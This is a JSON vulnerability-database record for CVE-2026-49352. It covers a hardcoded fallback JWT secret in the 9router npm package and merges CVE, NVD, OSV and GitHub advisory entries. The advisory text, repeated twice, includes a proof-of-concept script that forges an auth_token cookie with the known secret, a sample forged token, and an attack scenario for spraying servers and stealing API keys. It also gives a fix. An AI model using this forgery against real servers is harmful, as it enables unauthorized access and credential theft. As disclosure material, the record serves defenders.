{"id":"CVE-2026-49352","aliases":["EUVD-2026-44809","GHSA-jphh-m39h-6gwx"],"status":"published","title":"9Router: Hardcoded Default fallback JWT Secret  Allows Authentication Bypass","description":"9Router is an AI router \u0026 token saver. From 0.2.21 until 0.4.44, 9Router used the hardcoded fallback JWT secret 9router-default-secret-change-me in src/app/api/auth/login/route.js, src/middleware.js, and later src/lib/auth/dashboardSession.js, allowing attackers to forge an auth_token cookie when JWT_SECRET was unset. This issue is fixed in version 0.4.44","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00601,"percentile":0.49033,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-798"],"published":"2026-07-02T20:56:55Z","modified":"2026-10-28T02:30:43Z","exploits":[{"source":"pocgithub","id":"covepseng/cve-2026-49352-poc","title":"covepseng/cve-2026-49352-poc","date":"2026-07-06","url":"https://github.com/covepseng/cve-2026-49352-poc"}],"fixes":[{"ecosystem":"npm","package":"9router","fixed_in":["0.4.45"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"9router","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.21"},{"last_affected":"0.4.41"},{"fixed":"0.4.45"}]}]},{"source":"osv","ecosystem":"npm","package":"9router","ranges":[{"type":"SEMVER","events":[{"introduced":"0.2.21"},{"fixed":"0.4.45"}]}]}],"products":[{"vendor":"decolua","product":"9router"}],"references":[{"url":"https://github.com/decolua/9router/security/advisories/GHSA-jphh-m39h-6gwx","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/decolua/9router/commit/fe3ce25ae3cda48c0702c2d452e17f6ec214009d","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/decolua/9router/releases/tag/v0.4.44","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-jphh-m39h-6gwx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/49xxx/CVE-2026-49352.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49352","tags":["advisory"]},{"url":"https://github.com/decolua/9router","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-49352","title":"9Router: Hardcoded Default fallback JWT Secret  Allows Authentication Bypass","description":"9Router is an AI router \u0026 token saver. From 0.2.21 until 0.4.44, 9Router used the hardcoded fallback JWT secret 9router-default-secret-change-me in src/app/api/auth/login/route.js, src/middleware.js, and later src/lib/auth/dashboardSession.js, allowing attackers to forge an auth_token cookie when JWT_SECRET was unset. This issue is fixed in version 0.4.44","status":"published","published":"2026-07-15T20:43:41.168Z","modified":"2026-07-16T18:55:46.479Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-798"],"updated_at":"2026-11-02T13:35:10.963527Z"}],"euvd":[{"id":"EUVD-2026-44809","description":"9Router is an AI router \u0026 token saver. From 0.2.21 until 0.4.44, 9Router used the hardcoded fallback JWT secret 9router-default-secret-change-me in src/app/api/auth/login/route.js, src/middleware.js, and later src/lib/auth/dashboardSession.js, allowing attackers to forge an auth_token cookie when JWT_SECRET was unset. This issue is fixed in version 0.4.44","status":"published","published":"2026-07-15T20:43:41Z","modified":"2026-07-16T18:55:46Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:19:51.364603Z"}],"ghsa":[{"id":"GHSA-jphh-m39h-6gwx","title":"9router's Hardcoded Default fallback JWT Secret  Allows Authentication Bypass","description":"### Summary\n9router uses a publicly known hardcoded string `\"9router-default-secret-change-me\"` as the fallback of JWT secret for all Dashboard session JWTs when the `JWT_SECRET` environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid `auth_token` cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server\n### Details\n| Versions | File | Note |\n|---|---|---|\n| `\u003e= 0.2.21, \u003c= 0.4.30` | `src/app/api/auth/login/route.js` + `src/middleware.js` | Introduced in commit `23cfb19` |\n| `\u003e= 0.4.31, \u003c= 0.4.41` | `src/lib/auth/dashboardSession.js` | Relocated by OIDC refactor `c3d91b0`, secret unchanged |\n\nVulnerable Code\n\n**v0.2.21 – v0.4.30** — `src/app/api/auth/login/route.js` and `src/middleware.js`:\n\n```js\nconst SECRET = new TextEncoder().encode(\n  process.env.JWT_SECRET || \"9router-default-secret-change-me\"\n);\n```\n\n**v0.4.31 – v0.4.41 (current)** — `src/lib/auth/dashboardSession.js` (centralized via OIDC refactor, commit `c3d91b0`):\n\n```js\nconst SECRET = new TextEncoder().encode(\n  process.env.JWT_SECRET || \"9router-default-secret-change-me\"\n);\n```\nThe fallback string was introduced in commit `23cfb19` (2026-01-09) and has never been removed. The OIDC refactor in `c3d91b0` only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.\n### PoC\n**Step 1.** Craft a JWT signed with the known default secret:\n```js\nimport { SignJWT } from \"jose\";\n\nconst SECRET = new TextEncoder().encode(\"9router-default-secret-change-me\");\n\nconst token = await new SignJWT({ authenticated: true })\n  .setProtectedHeader({ alg: \"HS256\" })\n  .setIssuedAt()\n  .setExpirationTime(\"36y\")\n  .sign(SECRET);\n\nconsole.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w\n```\n**Step 2.** Set the forged token as the `auth_token` cookie. And access the `http://\u003ctarget\u003e/dashboard` - completely authentication bypass \n\n### Attack Scenario:\n- Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET\n- Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database \n\n\n### Impact\n- A successful attack grants attacker **full API Key, Auth Token** that 9router hold\n- They can **read** 9router apikey, **change** 9router password ,shutdown 9router, **Modify** everything\n- **Pivot** via the MCP stdio→SSE bridge exposed at `/api/mcp/`  (exploit CVE-2026-46339)\n\n## Recommended Fix\n\n**Require** `JWT_SECRET` at startup and fail fast rather than falling back silently:\n\n```js\nconst jwtSecret = process.env.JWT_SECRET;\nif (!jwtSecret) {\n  throw new Error(\n    \"JWT_SECRET environment variable is not set. \" +\n    \"Generate one with: openssl rand -hex 32\"\n  );\n}\nconst SECRET = new TextEncoder().encode(jwtSecret);\n```\n\nAlternatively, auto-generate a random secret on first boot and persist it to the data directory — but **never** fall back to a publicly known constant.","status":"published","published":"2026-07-02T20:56:55Z","modified":"2026-07-02T20:56:56Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-798"],"updated_at":"2026-11-02T14:40:38.48196Z"}],"nvd":[{"id":"CVE-2026-49352","description":"9Router is an AI router \u0026 token saver. From 0.2.21 until 0.4.44, 9Router used the hardcoded fallback JWT secret 9router-default-secret-change-me in src/app/api/auth/login/route.js, src/middleware.js, and later src/lib/auth/dashboardSession.js, allowing attackers to forge an auth_token cookie when JWT_SECRET was unset. This issue is fixed in version 0.4.44","status":"published","published":"2026-07-15T21:16:53.743Z","modified":"2026-10-24T21:10:00.13Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-798"],"updated_at":"2026-11-02T14:12:30.250437Z"}],"osv":[{"id":"CVE-2026-49352","title":"9Router: Hardcoded Default fallback JWT Secret  Allows Authentication Bypass","description":"9Router is an AI router \u0026 token saver. From 0.2.21 until 0.4.44, 9Router used the hardcoded fallback JWT secret 9router-default-secret-change-me in src/app/api/auth/login/route.js, src/middleware.js, and later src/lib/auth/dashboardSession.js, allowing attackers to forge an auth_token cookie when JWT_SECRET was unset. This issue is fixed in version 0.4.44","status":"published","published":"2026-07-15T20:43:41.168Z","modified":"2026-10-28T02:30:43.515347784Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-798"],"updated_at":"2026-11-02T15:45:07.060148Z"},{"id":"GHSA-jphh-m39h-6gwx","title":"9router's Hardcoded Default fallback JWT Secret  Allows Authentication Bypass","description":"### Summary\n9router uses a publicly known hardcoded string `\"9router-default-secret-change-me\"` as the fallback of JWT secret for all Dashboard session JWTs when the `JWT_SECRET` environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid `auth_token` cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server\n### Details\n| Versions | File | Note |\n|---|---|---|\n| `\u003e= 0.2.21, \u003c= 0.4.30` | `src/app/api/auth/login/route.js` + `src/middleware.js` | Introduced in commit `23cfb19` |\n| `\u003e= 0.4.31, \u003c= 0.4.41` | `src/lib/auth/dashboardSession.js` | Relocated by OIDC refactor `c3d91b0`, secret unchanged |\n\nVulnerable Code\n\n**v0.2.21 – v0.4.30** — `src/app/api/auth/login/route.js` and `src/middleware.js`:\n\n```js\nconst SECRET = new TextEncoder().encode(\n  process.env.JWT_SECRET || \"9router-default-secret-change-me\"\n);\n```\n\n**v0.4.31 – v0.4.41 (current)** — `src/lib/auth/dashboardSession.js` (centralized via OIDC refactor, commit `c3d91b0`):\n\n```js\nconst SECRET = new TextEncoder().encode(\n  process.env.JWT_SECRET || \"9router-default-secret-change-me\"\n);\n```\nThe fallback string was introduced in commit `23cfb19` (2026-01-09) and has never been removed. The OIDC refactor in `c3d91b0` only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.\n### PoC\n**Step 1.** Craft a JWT signed with the known default secret:\n```js\nimport { SignJWT } from \"jose\";\n\nconst SECRET = new TextEncoder().encode(\"9router-default-secret-change-me\");\n\nconst token = await new SignJWT({ authenticated: true })\n  .setProtectedHeader({ alg: \"HS256\" })\n  .setIssuedAt()\n  .setExpirationTime(\"36y\")\n  .sign(SECRET);\n\nconsole.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w\n```\n**Step 2.** Set the forged token as the `auth_token` cookie. And access the `http://\u003ctarget\u003e/dashboard` - completely authentication bypass \n\n### Attack Scenario:\n- Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET\n- Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database \n\n\n### Impact\n- A successful attack grants attacker **full API Key, Auth Token** that 9router hold\n- They can **read** 9router apikey, **change** 9router password ,shutdown 9router, **Modify** everything\n- **Pivot** via the MCP stdio→SSE bridge exposed at `/api/mcp/`  (exploit CVE-2026-46339)\n\n## Recommended Fix\n\n**Require** `JWT_SECRET` at startup and fail fast rather than falling back silently:\n\n```js\nconst jwtSecret = process.env.JWT_SECRET;\nif (!jwtSecret) {\n  throw new Error(\n    \"JWT_SECRET environment variable is not set. \" +\n    \"Generate one with: openssl rand -hex 32\"\n  );\n}\nconst SECRET = new TextEncoder().encode(jwtSecret);\n```\n\nAlternatively, auto-generate a random secret on first boot and persist it to the data directory — but **never** fall back to a publicly known constant.","status":"published","published":"2026-07-02T20:56:55Z","modified":"2026-07-02T21:11:31.254349Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-798"],"updated_at":"2026-11-02T15:46:50.687609Z"}]}}
